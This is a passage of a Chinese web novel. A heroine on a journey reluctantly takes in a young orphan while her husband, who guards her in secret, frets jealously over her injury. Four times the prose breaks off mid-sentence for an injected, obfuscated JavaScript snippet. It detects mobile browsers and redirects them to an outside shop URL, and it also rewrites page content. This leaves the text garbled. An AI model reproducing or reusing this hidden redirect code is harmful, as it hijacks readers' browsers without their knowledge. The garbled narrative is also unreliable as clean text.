等姜宜年回答完捕贼官的问题,姜叶又重复了一遍自己的问题。 “入庵之前,那所谓的戏班子的人跟着我们的马车走,抬着一个大箱子,你还记得吗?” “有一点印象。”不过印象不是很深。 姜叶不明白:“那箱子怎么了?有什么破绽吗?” “箱子本身没什么破绽,不过箱子表面上放了许多东西,杂乱无章,我当时便觉得不对,又多看了两眼,箱子里面应当是放着原班主的戏服,衣袖一角漏了出来,绣样精美。” “这……又是什么意思?”姜叶还是没听懂。 “我母父从小学戏,戏比天大,怎么会任由戏服被这样糟蹋呢?没有叠好,没有整整齐齐放好才会漏出那么一角来,原来娘子当时是在看那个,并不是在看我。” 晁旌突然靠近,姜叶一脸茫然,等他说完,她才恍然大悟—— “啊,你就是柯玉说的那个戏班子留下来的儿子。” “是我。”晁旌对姜叶轻轻点了下头,再次看向姜宜年:“是我自作多情了,还以为娘子当时真在看我,不过若不是娘子那一眼,我或许也没办法得救。” “是你自己有福气。” 等人全部被抓完,等捕贼官一一问过话,天已经亮了,雨也停了。 戚英今日有机会大展拳脚,并不觉得疲累,还很兴奋。 “娘子真是料事如神,居然什么都想到了。” 尤嬅心里有事,跟着轻轻一笑,没多言语。 姜宜年发现了,问她是不是路上不顺利。 “不,很顺利,托娘子的福,我运气好,还没走多远就遇到了捕贼官,跟她们一说娘子的推测,又提到了嵘城姜氏,她们立刻就叫人回去找了增援,确保万无一失了才动手的,这才能大获全胜。” 姜宜年微微皱眉,没再多问。 柯玉看到了姜宜年的表情,“娘子是不是伤口疼?” “不是,我困了,既然问清楚了,我们休息好了再启程吧。” 尤嬅点头,“那我去跟姜娘子她们说一声。” 刚转身还没走,姜宜年叫了一声戚英,让她去安排找人送晁旌回嵘城的事。 戚英应了一声,跟尤嬅一起离开。 柯玉要再帮姜宜年换一次药,被她直接拒绝,“我要先睡一觉。” 她在姜家时,早睡早起,还有午休,已经很久没有熬通宵了。 更何况这一晚上,忧心忡忡,精神高度集中,她现在困得不行,只想睡觉。 柯玉叹了口气,“无事,娘子睡吧,我来给娘子换药,娘子连胳膊都不用抬,之前包扎的不好,手忙脚乱的,一定要重新包扎一下才行。” 姜宜年没劲儿理她了,闭上眼睛没再管,只当自己是个傀儡。 已经出去的戚英叫了尤嬅一声,问她怎么了。 尤嬅咬了咬嘴唇,“有件事,不知道该不该告诉娘子。” 戚英说:“当然要告诉啊,之前不知道这个姜娘子如此厉害,原先还以为她病殃殃的,做什么都不行呢,可你看看这一晚上,若不是她,我们怕不是已经都成了那伙歹人的刀下亡魂了。你要是有什么秘密,恐怕瞒不住她。” “其实如果不是她……也未必会出事。” “什么?”戚英不解,“你这话是什么意思?” “我告诉你,你可别告诉别人。” 戚英一听这个就来劲儿了,连连点头。 “我出去没多久就被人拦了下来,四个穿着夜行衣的高手,将我团团围住,问我是不是姜家娘子出事了。我被吓了一跳,担心这是贼人提前布好的埋伏,不敢对她们说真话,后来听她们说,她们是姜家郎君商氏派来保护娘子的,想到贼人应该不至于知道的这么清楚,便对她们说出了娘子的猜测。” 尤嬅长叹一口气,“她们又是派人又是派马,这才能让我这么快赶回来,为了不被娘子发现,她们现在还隐藏在暗处。要我看来,就凭她们几个的身手,就算不去报官,那些贼人也不能把娘子怎么样。” “居然还派了人……”戚英瞠目结舌,“这姜家郎君,可真是舍得啊。” 尤嬅道:“可不是么,不过要说他们妻夫俩关系是真好,郎君就算再舍得,也得有用钱的权力不是,他能掏出那么多钱来给我们,还不是妻主同意了的。” 戚英啧啧两声,问尤嬅:“那这事你要不要跟娘子说?” “你方才不是……” “我方才不是什么都不知道么。”戚英讪讪一笑,道:“现在想想,你我毕竟都是郎君雇的,这事就当不知道,到时候还能美滋滋拿钱,郎君不让娘子知道,说不定是知道娘子晓得了之后要生气,他们两个要是生了气,到时候牵连到我们身上了怎么办?” 尤嬅点头,“你说的有道理……” * “刚走了两天就遇到了歹人?!” 商琮琤拍案而起。 吉枣怕他气晕过去,连忙过去扶住他帮他顺气,“郎君消消气,别气着自己了。” “郎君勿担心,娘子无大碍,她也不知道暗中还有人保护着她,捕贼官已经把所有歹人都抓走了,我查过了,一个个手上都有人命,肯定要砍头的。” “无大碍?”商琮琤皱着眉毛盯着眼前的人,专抓重点,他沉声问道:“这是什么意思?” 那人眼皮跳了跳,“噗通”一声跪下,“小的并未亲眼见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773968|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,不过听说,娘子受了一点点小伤,似乎是胳膊……” 茶盏被砸在地上,发出巨响,碎得四分五裂。 “受伤?!她还受了伤?!你们那么多人是干什么吃的?!我不是让你们保护好她的吗?!” “郎君息怒,娘子到现在都不知道我们的存在,当时情况复杂,我们谨记郎君的话,不敢贸然出现在娘子面前,也怕惊扰到她,想到她身边还有两个高手,当时捕贼官也去了不少人,就……” 那人脑袋抵在地面上,不敢抬头,“听说是娘子为了保护身边的人才受了伤的,好在并不严重。” “你亲眼看到了吗?你说不严重就不严重?” “没有……”那人战战兢兢,“不过……” 商琮琤深吸一口气,“妻主为了保护谁受的伤?你可知道?” “当时……当时房中只有一个拖后腿的是个没用的男人,想来娘子是为了护着那人才受了伤。” 现在她也后悔得紧,当时没有在房檐下派人盯着。 谁知道这么万无一失的情况下,最最关键最最不能受伤的姜宜年居然受伤了。 当时房里,除了姜宜年,就是可以保护她的戚英和她的贴身随从柯玉,还有一个不明缘由深更半夜出现在姜宜年房中的男人。 前面两个,戚英就不用说了,哪里需要姜宜年保护,柯玉,虽然不及戚英武功高强,但好歹会一点儿拳脚功夫。 那么就剩下那一个什么都不会的男人了。 怎么想都只能是因为那个男人才受了伤。 商琮琤的声音冷若冰霜,“男人?哪个男人?妻主房中怎么会出现男人?” “是……那伙歹人先前杀掉的一对妻夫俩留下的儿子,至于,他是怎么跑到娘子房中去的,我们也不知道。” 那人道:“虽然尤嬅现在知道我们的存在了,不过一直让她不要跟娘子提起,多的话我们也不好问,不敢离得太近……” 吉枣看了一眼商琮琤苍白的神色,没忍住向前走了一步。 “你们是吃干饭的吗?郎君是说让你们小心不要被娘子发现,但也说过完事以娘子的安危为先,哪怕被发现了,娘子没事也不会怪你们的,现在娘子倒是没发现你们,但这才多久,就受了伤,你们难辞其咎!” “是,是我们的失误,以后不会了。”那人抬头,看到商琮琤冰冷的目光又立刻跪了下去,“郎君放心,我们必护娘子周全!” “那男人现在在哪儿?” 地上跪着的人这才发现症结所在。 她眼皮又跳了一下,“应……应当还和娘子在一起。” 不等商琮琤说话,她立刻道:“不过听说那人有亲戚在嵘城,娘子也有意让人送他到嵘城来和亲戚团聚,想来不会跟娘子在一起太久的。” 许久,商琮琤没有说话。 又过了一会儿,她才敢抬头,发现商琮琤的表情确实没有之前那么可怕了,她这才轻轻松了口气。 整个一妒夫么这不是。 24. 第24章 “他不肯?” 这个倒是在姜宜年的意料之外,“是他自己说的在嵘城有亲戚,为什么他不肯去嵘城?” 尤嬅低头轻声回答:“他不肯说原因,非要见娘子,说是……只肯跟娘子说明缘由。” 姜宜年思忖片刻,道:“不见,如果他不想回嵘城,就证明他不需要我们的帮助,那就不用再管他了。” 尤嬅:“是。” 姜宜年没怎么睡好。 前一晚熬了个通宵,精神一直紧绷着,现在事情虽然过了,如果有更多的休息时间会舒服些,但可惜还要赶路。 柯玉看出了姜宜年脸色不太好,一直关切地关注着她。 私心来说,柯玉当然想让姜宜年能拥有更多的休息时间,但姜叶那边也是生离死别的头等大事,而且这尼姑庵出了事,她也害怕继续留在这儿会再出什么意外。 柯玉轻声开口:“等上了路,娘子在马车里好好休息。” 姜宜年眼皮都没抬,点了点头。 然而,两人刚看到马车内部,立刻就变了脸色。 马车里的晁旌看到姜宜年,对她灿然一笑。 戚英和尤嬅跟在她们身后,暂时看不到马车里的情景。 姜宜年下意识回头,看到二人的表情,发现她们两个大概事先跟自己一样,什么都不知道。 “娘子,怎么了?” 问话的是戚英,姜宜年没说话,侧身让出一点,让她们两个看到马车上的晁旌。 尤嬅一脸讶异,“他怎么在这儿?” 姜宜年在心里琢磨,不像是假的。 刚出了那么严重的事,晁旌应该做不到悄无声息摸上她们的马车,更不必说还如此准确地直接找到了她会乘坐的马车。 肯定是得了谁的准许。 姜宜年微微偏头,对柯玉吩咐了一句,柯玉点头,当即转身走了。 而姜宜年本人则坐进马车里,看着一脸纯然的晁旌,面色不善。 “你到底想干什么?” 赶路途中,戚英和尤嬅一般都在外面驾车,柯玉则大多数时间跟姜宜年待在一起,坐在马车里面。 虽然商琮琤想得很周到,但马车内里空间毕竟有限…… 现在姜宜年跟几乎可以称得上是陌生人的晁旌单独相处,内心多少还是有些排斥情绪。 晁旌听到姜宜年的问话,表情变得有些委屈,“娘子为何不见我?” 姜宜年面无表情看了他一会儿,道:“是你说了在嵘城有亲戚,我也安排了人送你去跟亲戚团聚,你自己不愿意,我不觉得你还需要我帮你什么。” 晁旌咬了下嘴唇,“我有难言之隐,只愿对娘子说。” 姜宜年淡然开口:“你现在见到我了,说吧。” 晁旌道:“其实我母父跟姨母家并不算和睦,而且……如今我母父都不在了,若我去姨母家只能寄人篱下,堂姐对我也不好,我担心……” “这是你自己的事。”姜宜年打断他,冷静开口道:“你我不过萍水相逢,我能送你去嵘城已经仁至义尽了。” 姜宜年猜测这小子或许是想跟她索要些钱财。 前一晚他说的那些话姜宜年还记得,之所以派他出马,是因为笃定姜宜年一行人是大肥羊,难保晁旌本人不会这样认为。 “我知道。”晁旌点头,“我当然知道娘子这样安排是为我好。” 姜宜年抱臂看着他,带着审视的目光。 晁旌大概之前跟母父一直出门在外,遇到的人不少,若是换了其他男子,看到姜宜年的这种眼神,兴许早就已经跑开躲起来了,他虽然表情不怎么自在,但姑且撑住了。 “我听说……娘子要去鼎州?所以想厚着脸皮再求娘子一件事……” 晁旌或许是在强撑,声音越来越小。 姜宜年没说话,等着他继续说。 晁旌喉头微动,“娘子要去鼎州,必然要路过穹州,我外祖家就在穹州,娘子能否不要将我送去嵘城,带我去穹州吧,可以吗?” 说完,他直接对着姜宜年跪了下来,甚至磕了个头。 姜宜年淡声道:“你这算是得寸进尺,强人所难了。” “是,我明白。” 因为磕头的行为,晁旌的头发已经有些散乱,但眼神还算真挚。 “娘子身边全是女子,又受了伤,我是男子,再怎么样都比女子心细一些,这一路上可以照顾娘子,求娘子带着我,送我去外祖家吧!” 姜宜年没有答应他,晁旌有些着急。 “本来是要给娘子许诺一些回报的,但哪怕我外祖家还算富裕,恐怕也比不上娘子本身,其他的,也不知道我能给娘子什么,我只是想跟真正的家人团聚,昨夜跟娘子说起我姨母一家在嵘城,是因为这里离嵘城近一些……” 晁旌又磕了个头,“求娘子成全!” 姜宜年当然不想多带一个人,不是花费之类的原因。 本来就要提防姜叶,没想到刚离开嵘城没有多久就又遇到了一个陌生的麻烦。 然而看到晁旌的眼神,看起来他不像是在说假话。 如果他说出口的话句句属实,带上他其实不过是顺路的事。 “娘子。” 柯玉回来了,待在外面,姜宜年没有给出答案,转身先出了马车。 “是姜娘子放他进来的,姜娘子说……以为他是娘子看上的人,本意是想成人之美。” “你跟她说清楚了?” “没有。”柯玉道:“我只说娘子没想带着他,所以奇怪他怎么会提前待在我们的马车里,才差我去问的,说关于昨晚的事,娘子还心有余悸呢,担心有什么问题。” 姜宜年刚点了下头,就看到姜叶过来了。 “阿姐,那不是你的人吗?” 姜叶看起来有些担心,估计是真以为自己犯了错。 姜宜年知道她担心什么,无非是他们现在离嵘城还算不太远,如果姜宜年直接打道回府,她也没办法。 “不是。”姜宜年直接跟姜叶说清楚了一切,姜叶恍然大悟,“难怪我打趣他的时候,他的表情那么奇怪。” 说完,姜叶笑了笑,“阿姐留下他在身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791802|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没什么,我知道阿姐跟姐夫情深意笃,但出门在外,姐夫不在身边,有这么个人照顾阿姐,也没什么。” 姜宜年没说话,姜叶看着她的样子,突然笑不出来了,表情讪讪。 “他说自己外祖家在穹州,穹州距离鼎州有多远?” “很近,我们到鼎州之前,是要路过穹州的。”姜叶说:“离开鼎州时也要路过穹州。” 姜宜年稍稍松了口气,如果他们两个不是提前说好的,那么看来晁旌没对她说谎。 “那就当日行一善,送他回去吧。” “阿姐决定就好,我没有意见的。”姜叶笑着开口说完,姜宜年问她什么时候能启程。 “立刻就能。” 姜宜年点了点头,带着柯玉回到了马车上。 她们在外面说话,晁旌全都听到了,此时此刻再看她,一双眼睛亮晶晶的。 “实在不知道该怎么感谢娘子!” 晁旌一直跪着,又对着姜宜年磕了个头。 “不用谢谢我,只要你路上别给我惹麻烦就好。” 姜宜年道:“我还要给你提个醒,你也看到了,我们这一行人里,除了你全是女子,这其中的不方便,你要自己化解,这是你请求我帮忙的,如果半道上又跟我说想去别处,或者想回嵘城,我就把你扔下去。” “是!”晁旌笑着点头,“我绝对不让娘子为难。”顿了顿,他又说:“我会好好照顾娘子的!” “不必。”姜宜年刚说完,柯玉嗤了一声,“有我照顾娘子,有你什么事儿啊。” 姜宜年看了柯玉一眼,柯玉的表情收敛了些。 晁旌笑嘻嘻的,问:“这位姐姐姓什么?怎么称呼?” 柯玉冷哼一声,并不回答。 姜宜年道:“我姓姜,刚才跟我说话的那位娘子跟我同姓。这是柯玉,外面的两个姑娘,昨晚一直守在我身边的叫戚英,另一个叫尤嬅,至于那辆马车上的其他人,若是你想认识,就自己去问。” “我不想。”晁旌立刻道:“我只需要认识娘子身边的人就够了。” 姜宜年已经躺下了,想补个觉,听到这话,掀开眼皮看了他一眼。 晁旌说话声音低了些:“只有在娘子身边才是最安全的,我明白。” 发现姜宜年还看着他,晁旌继续道:“昨晚亲眼看到娘子舍身救了柯玉姐姐,就知道娘子是个好人。” 姜宜年总算知道他为什么缠上自己了,原来是觉得身为上位者救了仆从,绝对是个好人。 或许……往更深层次想,大概觉得这样的人比较容易心软,说话会听,提出的要求也会帮忙达成。 还真让这小子预料到了…… 姜宜年不再看他,闭上了眼睛。 晁旌一直微笑着,安安静静待在角落里。 柯玉偶尔看向他,眼神中带着审视和明晃晃的厌恶。 对此,晁旌也并不在意,对柯玉报以微笑回应。 柯玉白了他一眼,不再看他,转而去关注姜宜年,担心她在行驶的马车里睡不好觉,就像之前一样。 25. 第25章 “疑似跟妻主一起去了鼎州?!”商琮琤瞳孔紧缩,“这是怎么回事?他不是要来嵘城的吗?” “不……不知道……传回来的信上是这么说的。” 吉枣把刚收到的信交给商琮琤,商琮琤展开一看,确实就写了那样寥寥几句。 “妻主会不会……” 商琮琤后面的话没有说出口,吉枣也不敢问会不会什么。 只好自己猜,不过还没猜出个大概来,又听到主子喃喃低语—— “不会的,虽说妻主现在什么都不记得,她也不可能对一个刚刚见到的男子……” 吉枣瞪大了双眼,商琮琤似是突然想到了什么,不再开口。 “郎君,要不要赶上娘子,把那人赶走?” 虽然只听到了一半,但吉枣岂能不知道自家主子现在在想什么。 能让他失态的无非就那几件事。 但吉枣也认为姜宜年不是那种会突然对一个陌生男子动心……呃……不是那种会突然带着一个陌生男子远行的女人。 “不必了,既然她们此刻还没有被妻主发现,让她们继续隐藏起来。” “好……” “传信给她们,务必保护好妻主,不能再重复之前那种愚蠢的失误。” “是!” * 又走了两日,天气越来越冷。 姜宜年方向感不好,但她总觉得鼎州的方位在…… “姐姐好像很讨厌我,为什么?” 所有人都停下来休整,姜宜年在马车上没下去,听到马车外晁旌的声音传来。 接着是柯玉冷冷的声音:“既然你有自知之明,就离我们娘子远一点儿,别有什么歪心思。” “我没有……”晁旌的声音低了下去,虽然没看到他的脸,经过这几日的相处,姜宜年能想象到他现在是什么样的表情。 这小子其实挺精的,可能以前接触的人就不少,所以性格圆滑,很懂示弱。 大概就是因为自身的这种原因,才能在独自落难以后做到全身而退。 “有没有你自己心里清楚,既然你说没有,那就别搞什么小动作,我会盯着你的。” 柯玉说完,很快又补充了一句:“我们娘子和郎君感情很好,你别想破坏他们。” 下一刻,柯玉跟醒过来的姜宜年对上了眼,表情一滞,嘴角微微抽动两下。 柯玉什么也没说,坐到姜宜年身边,看了她一眼,道:“娘子的伤该换药了。” 姜宜年也不言语,任她摆布。 柯玉做完一切,扁了扁嘴巴,小心地瞟了一眼姜宜年,问她:“娘子是不是生气了?怪我跟他那样说话?” 姜宜年:“我不是什么都没说么。” 柯玉拿不准姜宜年这样到底是生着气呢还是没生气,小心地看了她一会儿,道:“我只是觉得那家伙不是什么好人,哪有好人家的男子非要贴着成了婚的女子的?这不是抢着做小侍吗?好人家的男子哪个不想做正夫的?” “你扯到哪里去了,他不是说了想回外祖家?我不过帮他一把。” “娘子想的太少了。”柯玉急切开口道:“娘子现在什么都不记……” 姜宜年微微皱眉,柯玉捂了下嘴,音量骤然降低—— “……娘子根本不知道,他嘴上说自己对娘子没有企图,实际上如果是真的毫无想法的好儿郎,是会对已有正君的女子敬而远之的,对自己名声也不好呀,可娘子看看他,我们都是女子,他每日都和娘子和我在同一辆马车里待着,他一点儿都不担心别人怎么看吗?丝毫不苦恼自己的名声怎么办吗?” 姜宜年看着柯玉这副如临大敌的样子,轻巧勾了下唇,道:“他这不是没法子么,总不能为了他,再租一辆马车,就算真的再加一辆马车,赶车的马妇还不是女的,他怎么样都不方便,说不定他那样子也是强装镇定呢。” 柯玉看姜宜年像是完全只看得到晁旌的懂事和难处,一脸着急却不知道还能怎么劝。 姜宜年看她这个样子,反过来安慰她:“我心里有数,你放心。” 她真的认为晁旌是个心无城府走上绝路无可奈何才跟着她们的小少年吗? 当然不是。 姜宜年对商琮琤都不是百分之百放心,怎么可能对这样一个陌生人完全掉以轻心。 只不过柯玉对晁旌的排斥和恶意太流于表面了,姜宜年作为这两人之中的调和者,不能激化矛盾。 还没到鼎州呢。 姜宜年不希望这一路上再出现什么别的意外了。 赶路本身就是一件很消耗心力精神力的事情,身边的人如果还不能做到和睦共处,姜宜年真想掉头回嵘城算了。 但想想回去要跟商琮琤共处一室,想到她离开的前一夜的某个瞬间…… 姜宜年觉得自己还能再挺一挺。 先从安抚身边人的情绪开始好了,这件事,哪怕再加上路途上的奔波劳碌,都比商琮琤那双深情的眼睛好应付多了。 她想到商琮琤和原主之间可能发生过的一切,心中就会升起惭意。 问题这件事无从说起,不能告诉任何人,尤其是商琮琤。 如果他另有意中人,眼下表现出来的都是假象,并非真心,待他得知真相后,姜宜年的处境会变得危险。 而如果商琮琤对原主确实是一片真心,得知真相后,他会伤心欲绝的吧。 如果是第二种情况,姜宜年基本可以确定至少那样他们两个之间的关系不用这样一直尴尬下去了,毕竟商琮琤喜欢的人不是她,可她不想看到商琮琤伤心欲绝。 她在路上无所事事的时候就会试想别的情况。 要是不用对商琮琤说出真相,而他们两个也不必同房生孩子,不必有任何亲密行为,就这样几十年如一日的像室友朋友一样安安稳稳地过下去,就真的太好了。 可惜这种情况只存在于想象之中,根本不可能成为现实。 商琮琤是人,又不是被设定好的程序,他有人类的感情,人类的体温,人类宝贵的记忆。 他记得跟原主如何相遇,记得他们是怎样成婚,记得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793096|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己经历过的所有苦难挫折,记得“妻主”醒来之后他的心里到底有多激动,这些都是不能被抹去的,而正是因为这些,他的人生才有意义。 从巨大的欣喜之中猛然抽离出来,得知原来自己的心爱之人早已死去,他会不会开始怀疑自己苦苦坚持的这一年……到底有没有价值? 姜宜年实在不想当那个让商琮琤伤心的人,可她的存在注定了他会伤心。 她需要时间冷静思考,接下来到底该怎么跟他相处。 “娘子在想什么?” 马车重新上路,晁旌好奇地问姜宜年。 “那还用说,当然是郎君啦。”柯玉抢着开口回答,表情精准投放,是挑衅。 姜宜年:“……” 他们两个天天在耳朵边上,就像小孩子斗嘴。 不过这回,柯玉还真蒙对了。 “娘子的郎君是什么样的人?” 姜宜年看向柯玉,但见柯玉似乎本来是想开口描述的,突然却不说了。 柯玉看着姜宜年,满眼期待,像是想听她亲口说。 姜宜年内心无语,没想到自己有朝一日也能成为别人嗑的CP里的其中一人。 柯玉嗑CP这个劲头啊,真挺足的。 明明商琮琤不在身边,柯玉频频提到他,也会让姜宜年自然而然想到他,然后偶尔苦恼,偶尔惭愧。 晁旌眼神明亮,似乎也是真的好奇。 姜宜年想了想,轻声开口道:“知书达理,说话总是轻声细语的,做任何事情都考虑得很周到,挑不出错来的那么一个人。” 也不知道自己出门这么久了,那几房的几个活爹有没有为难他,他会不会受什么委屈呢? 姜宜年撑着下巴,吸了下鼻子。 温度似乎有点儿低,不知道嵘城现在是什么天气和温度,不知道商琮琤会不会生病,他看起来挺拼的,自己不在,他应该会总是在书房看账吧?会自己下厨吗?每日都吃些什么膳食呢?总归比自己在路上吃的好吧。 姜宜年想到自己这几日几乎没吃饱过,就有点儿后悔自己为什么要同意出这趟远门。 赶路途中的那些东西都只能果腹,没有味道可言,还是在姜家的时候,商琮琤下厨做的那些东西好吃。 “郎君长得很好看吧?这样才能配得上娘子。” 柯玉抢着开口回答:“当然啦,我们郎君未出嫁前可是远近闻名的美男子。” 姜宜年倒是不知道这一点,“是吗?” 她这么随口一问,柯玉却突然紧张起来,“是我冒失了,娘子勿恼。” 姜宜年有些奇怪,“你不是一直这么说话,我怎么会恼?” 柯玉见她真的没生气,松了口气笑了出来。 “我不该这样私下议论郎君的,日日跟在娘子身边,娘子纵我,我就失了分寸。” 姜宜年淡笑着看着她:“我不与他说就是了。”顿了顿,她问道:“他那时……很出名?” “是啊。”柯玉点头道:“不过郎君命不好,真正求娶的没有几个。” 26. 第26章 “为什么?” 姜宜年也想问,不过晁旌先她一步更快问了出来。 柯玉收敛了神情,抿了下唇,意识到自己又食言了,瞪了一眼晁旌,道:“跟你有什么关系,瞎问什么。” 晁旌怔了怔,看了姜宜年一眼。 他知道柯玉不喜欢他,而且不止是不喜欢,这或许是姜宜年的夫郎、柯玉的主家郎君的私隐,他确实不该问,不该他来问。 “抱歉……” “没事。” 这种时候就体现出姜宜年的作用了,晁旌听她这么说,小心翼翼地朝她笑了笑。 马车突然停了下来,姜宜年扶了下额头。 晁旌很懂眼色,“我去看看怎么回事。”说完就钻出了马车。 “娘子……”柯玉小声开口,姜宜年朝她看过去,柯玉一脸懊恼,“我姐说的对,我真该好好管管自己这张嘴了,郎君的事情怎么能透露给随便什么人呢。” “好了,好奇心谁都有,他就是条件反射那么一问。” “娘子!”晁旌撩开车帘,一股寒气闯了进来。 他一脸兴奋:“下雪了。” 姜宜年呆了呆,这才……几月啊,虽然这一路上越来越冷,但姜宜年没想到会遇到下雪天。 她掀开车帘看了一眼,雪花洋洋洒洒,还不是细小的雪粒。 这下姜宜年明白为什么马车突然停下来了。 …… 姜叶过来找姜宜年,姜宜年问她:“有人打听到了吗?要下多久?” “本地人可能早就准备好了,前前后后都看不到人。” 姜叶一脸严肃,能看出来她确实有些着急。 不过天气原因,谁都知道,急也没用。 “只能往回走一段路了,往前的话不敢肯定要走多久才能有客栈。” 姜宜年点了点头,她没经验,现在还是个久病刚愈的形象,没什么话语权。 所有人重新回到马车上,晁旌冻得打哆嗦,他只有一个小小的包袱,算不上行李。 姜宜年这时候才结合前情想起来,晁旌应该没有厚衣服。 柯玉也发现了,抿了抿唇,不知道在想什么。 姜宜年本来想说话,瞥到了柯玉的表情,便权当什么也没看到。 折返回到了路过的客栈,因为下大雪,剩下的空房不多,没什么太好的选择。 姜叶一脸抱歉,姜宜年摇摇头,“暖和就好,其他都不重要。” 虽然姜叶内心焦急,但还是把最好的一间留给了姜宜年。 姜宜年也没矫情推辞,这段时间一直赶路,她确实感觉到了赶路对这个身体来说有些超负荷。 虽然不至于再次晕厥或者身体出现什么明显的不适感,但她会觉得很累,每天的状态都是虚电,掉电很快。 有机会在落地的客栈休息,姜宜年也很愿意好好充充电。 可晁旌怎么安排就很难办了。 除了他,她们其他人都是女子,哪怕房间不够,挤一挤总能安排好,但晁旌只能一个人一间房,但房间不够。 若是专门给他腾出一间房来,有好几个人要挤一间房了,这妥妥是在给他拉仇恨。 晁旌原本没想这么多,但意识到这种情况之后,反应也很快。 他问掌柜客栈里有没有男子做工,他可以跟她的工人睡一间房。 “没有……”掌柜的也很好说话,只迟疑了一下就帮他想了个办法,道:“不过我儿子也住在这里,如果公子不嫌弃……” “没关系,我不会打扰到令公子休息的。”晁旌立刻回应。 “但是那床有点儿小啊……”掌柜说完又犹豫起来。 晁旌道:“我可以睡地上。” “说什么呢,外面下那么大的雪,如果你病了,还不是要麻烦娘子。” 柯玉对着掌柜道:“我看可以借掌柜的两张桌子,在房间里找个地方拼一下铺上被褥就好了,他也不是多娇气的公子,有地方睡觉已经很知足了。” “是,我很好打发的。” 晁旌没想到柯玉会帮他跟掌柜的说话,掌柜的为人也很爽快,就这么答应了。 柯玉跟姜宜年一间房,戚英和尤嬅一间。 外面在下大雪,掌柜给每个屋子都准备了炭盆,屋子里挺暖和。 柯玉检查好房间铺好床之后,踌躇不定似的。 姜宜年瞥了她一眼,淡声道:“我刚才听到晁旌打了个喷嚏,他又没一件厚衣服,可能要冻惨咯。” 柯玉皱起眉头来,但没接话。 姜宜年弯了下唇,接着道:“说能照顾好自己,总归还是个十几岁的孩子,还是个没什么用的男人,哪里能真的把自己照顾好啊。” 柯玉冷哼一声,“娘子说的是,他那模样一看弱不禁风的,再生个什么病,落下病根,这辈子可就算完了。” 这回轮到姜宜年不接茬了,柯玉看了她几眼,问道:“娘子……” “你去帮着他安排安排吧,我们救他一命,也算送佛送到西。” 柯玉虽然犹豫着,但还是秉持着大发善心的想法去看了晁旌一眼。 一会儿嫌弃他铺的被褥太薄,一会儿又嫌弃他桌子没摆好,放窗口不找冻么,骂骂咧咧帮他挪桌子。 入了夜,风雪渐消,姜叶松了口气,跟姜宜年说,“明日应该可以继续启程。” 姜宜年点了点头,有人叩门,姜叶随口说了句:“进。” 说完才想起这是姜宜年的房间,又随口道了句歉。 来人是晁旌,说问店家借了厨房,煮了羊肉汤。 姜叶调笑道:“阿姐出门在外还有这么可心的人贴身照顾着,真是好福气呀。” 姜宜年还没说话,晁旌自己先开口了:“姜娘子说笑了,蒙二位娘子搭救,晁旌才能有幸活下来,这么一点儿事,简直微不足道。” “闻着好香。”姜叶笑嘻嘻问道:“是不是见者有份呢?” “姜娘子说的这是哪里的话,没想到会在这里看到姜娘子,给您的已经让尤嬅姐姐送过去了,还有另外几位姐姐的,今日大家都受了冻,喝点儿羊汤暖和暖和。” 姜叶哈哈一笑,起身告辞,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802164|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要回去喝羊汤了,姜宜年点了点头,也没挽留她。 晁旌身上的衣服已经换过了,比他原先穿的厚实些。 姜宜年多看了一眼,他就直接看向柯玉,“谢谢柯玉姐姐帮我问掌柜的公子买了衣服,等我到了外祖家,一定把钱还给姐姐。” 柯玉做了好事反而脸皮变薄了,“谁要你还,我是想着你要是病了,必然要拖累娘子,才……才这么做的。” 晁旌笑笑,“不管姐姐是为了什么,总之是我受益,我真心谢谢姐姐。” 柯玉瘪了瘪嘴,别开脸不说话。 晁旌送来两碗羊汤,显然有柯玉的份儿,姜宜年让她坐下先喝,柯玉没有违逆,别别扭扭坐下了。 “味道不错。”姜宜年尝了两口,问他:“你哪里来的羊肉?” “帮着拿东西的时候看到后院在宰羊,就问掌柜的要了些。”晁旌有点儿不好意思,“不过算账时肯定要让娘子付账了。” “这是小事,你做的好吃,姜娘子也会很乐意付账的。” 